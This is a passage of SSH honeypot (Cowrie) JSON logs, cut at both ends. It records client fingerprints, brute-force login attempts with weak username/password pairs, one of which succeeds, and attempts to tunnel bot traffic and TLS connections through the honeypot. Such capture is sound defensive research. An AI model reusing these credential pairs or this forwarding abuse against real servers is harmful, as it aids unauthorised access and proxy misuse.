nssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:29.186694Z","src_ip":"91.92.40.36","session":"c3abdc6de0ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:29.201277Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":49170,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e04502c8f26","protocol":"ssh","message":"New connection: 45.153.34.195:49170 (10.17.0.5:22) [session: 2e04502c8f26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:29.933287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:29.944139Z","src_ip":"45.153.34.195","session":"2e04502c8f26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:30.018969Z","src_ip":"45.153.34.195","session":"2e04502c8f26","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:30.337209Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:30.366608Z","src_ip":"45.153.34.195","session":"2e04502c8f26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:30.764738Z","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:30.857903Z","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.011387Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Infinix X680F Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WVZwPnVyclM4STxFJEdHSQ%3D%3DulNlOZMpMCUeHU%2BzQ5ByVUnhkm8GukT%2FyK4OnuCD17LTTU6JeKVvSDgu4riNHa4sM5Tm0MM5V2TMaGV1tWlXbdRRSeqW%2BiphuGG%2BejU5sw0rMzTA5pE5pDxOQanEhwwMCD6bGmJeCjtq6CloAiIahQdsYT1dY%2BqroJ%2BM7QXfxoRfo0L030ri6oktou%2FsvoTvVFJ1IFUS8f0bwq1ccC%2FjgoMJPWn0cAv4nv%2B%2F1SG4bkFH3pSySKGy7dmF7nqexxaHNiX1Es5cpdIaBAPdAeBsS2ztO%2BajDxqrGUYYn5xWTjGC81T1Q42aUfjJNuy9Xzt2ICzQvmDZhJ0JHJ4w520sH%2F4Y5wLQll%2B2FCssXbfBluuI8%2BXJ0JQbFY%2BlFRPwISoGQD251YoLo5M5sbBvZMHb5cBzMC4hIjidXUZSmGfhJIBk1LdQCVBpAr6rhgwZCOPyT0uI2TjRFjBk1CYdtoNptJmhQGOl0z0w2oxZAYd%2BxHfuAEaIS97%2B0UDQl3J%2FU8CjVeassi5YVcT4Au8dhU7KtDAHWh81WbFWd5cANwlZqOrjcC6utFv9aK%2B8iFG6qU0cPBY1GVZjdxQRqfxByBvi3fthpVwIS7ETiRT2dtWTNVgMtdz3DmoGVO4qub90wEhQOubkvRK53n2WlOYTWuRrAzOoAPU%2BVppGzXkyrk2f4gxw1LCxdnfmvVTIUyXS1QO4eI2xgc23ePPmKd5yUSNcf%2Ff%2FXWKpN72ZEM1jl3D6IVVGcwUE1qjlWVvcuj2H1y1yOlitad4mkeZhFPEdq9lNpZjT%2BBEHaVt3Z2t4wYU5gxv5%2FawuumtURw%2FUFMXAazUInWkL5Rp5TrQf14nNGcmGTPh6A%2BsRQjEm8P1IYrFngOSiiwwGie%2FYi6%2FeKOYSSTWCrMQ%2FKTcX%2BE6fLaeB2Lij4XP6KLetAAzqNJ%2BH0xJu0rNfBQiVDFBQ6ggOtJAiuSdFbEGe57E6ZKEdEGNTEBriSNklj%2FIHLluOlgMe19mruCPAlt6dzmWqxuXfhqWuXpVPwxhpp919xwmsnDd9M2CkMTJouUnhHbgOrjhl6CbvOjE%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; Infinix X680F Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WVZwPnVyclM4STxFJEdHSQ%3D%3DulNlOZMpMCUeHU%2BzQ5ByVUnhkm8GukT%2FyK4OnuCD17LTTU6JeKVvSDgu4riNHa4sM5Tm0MM5V2TMaGV1tWlXbdRRSeqW%2BiphuGG%2BejU5sw0rMzTA5pE5pDxOQanEhwwMCD6bGmJeCjtq6CloAiIahQdsYT1dY%2BqroJ%2BM7QXfxoRfo0L030ri6oktou%2FsvoTvVFJ1IFUS8f0bwq1ccC%2FjgoMJPWn0cAv4nv%2B%2F1SG4bkFH3pSySKGy7dmF7nqexxaHNiX1Es5cpdIaBAPdAeBsS2ztO%2BajDxqrGUYYn5xWTjGC81T1Q42aUfjJNuy9Xzt2ICzQvmDZhJ0JHJ4w520sH%2F4Y5wLQll%2B2FCssXbfBluuI8%2BXJ0JQbFY%2BlFRPwISoGQD251YoLo5M5sbBvZMHb5cBzMC4hIjidXUZSmGfhJIBk1LdQCVBpAr6rhgwZCOPyT0uI2TjRFjBk1CYdtoNptJmhQGOl0z0w2oxZAYd%2BxHfuAEaIS97%2B0UDQl3J%2FU8CjVeassi5YVcT4Au8dhU7KtDAHWh81WbFWd5cANwlZqOrjcC6utFv9aK%2B8iFG6qU0cPBY1GVZjdxQRqfxByBvi3fthpVwIS7ETiRT2dtWTNVgMtdz3DmoGVO4qub90wEhQOubkvRK53n2WlOYTWuRrAzOoAPU%2BVppGzXkyrk2f4gxw1LCxdnfmvVTIUyXS1QO4eI2xgc23ePPmKd5yUSNcf%2Ff%2FXWKpN72ZEM1jl3D6IVVGcwUE1qjlWVvcuj2H1y1yOlitad4mkeZhFPEdq9lNpZjT%2BBEHaVt3Z2t4wYU5gxv5%2FawuumtURw%2FUFMXAazUInWkL5Rp5TrQf14nNGcmGTPh6A%2BsRQjEm8P1IYrFngOSiiwwGie%2FYi6%2FeKOYSSTWCrMQ%2FKTcX%2BE6fLaeB2Lij4XP6KLetAAzqNJ%2BH0xJu0rNfBQiVDFBQ6ggOtJAiuSdFbEGe57E6ZKEdEGNTEBriSNklj%2FIHLluOlgMe19mruCPAlt6dzmWqxuXfhqWuXpVPwxhpp919xwmsnDd9M2CkMTJouUnhHbgOrjhl6CbvOjE%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.014762Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"P455word","message":"login attempt [debian/P455word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.033055Z","src_ip":"91.92.40.36","session":"648fc9ee0f9f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.251493Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03pA\\xf9\\xf2\\x08Q\\x01\\x15,7\\x9e\\x12\\xdd:r|\\xc1{\\x9a\\xca\\xd5\\x89\\xe8J\\x0e\\x1d\\xad\\x90\\xfc\\x11\\x12\\x84 \\xf4\\xaf\\xa20\\x9c\\x80\\x0c-\\xea\\xb3\\xbf\\xfc|Sh\\x04\\xc3\\x1c\\xc7$\\xe1\\x16\\x11\\xd2\\xf51L\\xe8\\x99l\\xe1L\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 |\\xcd\\x1a\\xf5_\\xe1\\xf31\\xc53\\x8e\\x07\\xf6\\x8e\\x97\\xa1\\xb3F\\xda\\x1eZ\\xea\\xdf\\x04RO\\x9c)\\x01\\t`\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03pA\\xf9\\xf2\\x08Q\\x01\\x15,7\\x9e\\x12\\xdd:r|\\xc1{\\x9a\\xca\\xd5\\x89\\xe8J\\x0e\\x1d\\xad\\x90\\xfc\\x11\\x12\\x84 \\xf4\\xaf\\xa20\\x9c\\x80\\x0c-\\xea\\xb3\\xbf\\xfc|Sh\\x04\\xc3\\x1c\\xc7$\\xe1\\x16\\x11\\xd2\\xf51L\\xe8\\x99l\\xe1L\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 |\\xcd\\x1a\\xf5_\\xe1\\xf31\\xc53\\x8e\\x07\\xf6\\x8e\\x97\\xa1\\xb3F\\xda\\x1eZ\\xea\\xdf\\x04RO\\x9c)\\x01\\t`\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.254875Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.533901Z","src_ip":"45.153.34.195","session":"2e04502c8f26","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.734633Z","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:53:31.981624Z","src_ip":"123.27.168.40","session":"ad334a62c17e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaeg\\xbd+\\xff\\x0b\\nG0HQ\\xdd\\x99\\xd6A\\xd3\\xef\\x06\\xca\\xb2z\\xc8\\x04\\x03\\xcf\\xd8\\x89I\\x0b\\xba<\\x0c \\xf3\\xc1\\x87}\\xadTM\\xb1\\xd8\\xe4\\nz\\xde\\x1c8\\\\\\xd5\\x9bv\\xcax\\xb0n\\x03\\x12\"\\xd7:\\x9b\\x00\\x17\\xeb\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 cc\\x91\\xe9 \\x94\\xacx\\xbe\\xaf\\x14c\\xed\\x87Pmi&zy$\\xdeP\\xa2\\x87FZ\\xe9\\x83%\\x88X\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaeg\\xbd+\\xff\\x0b\\nG0HQ\\xdd\\x99\\xd6A\\xd3\\xef\\x06\\xca\\xb2z\\xc8\\x04\\x03\\xcf\\xd8\\x89I\\x0b\\xba<\\x0c \\xf3\\xc1\\x87}\\xadTM\\xb1\\xd8\\xe4\\nz\\xde\\x1c8\\\\\\xd5\\x9bv\\xcax\\xb0n\\x03\\x12\"\\xd7:\\x9b\\x00\\x17\\xeb\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 cc\\x91\\xe9 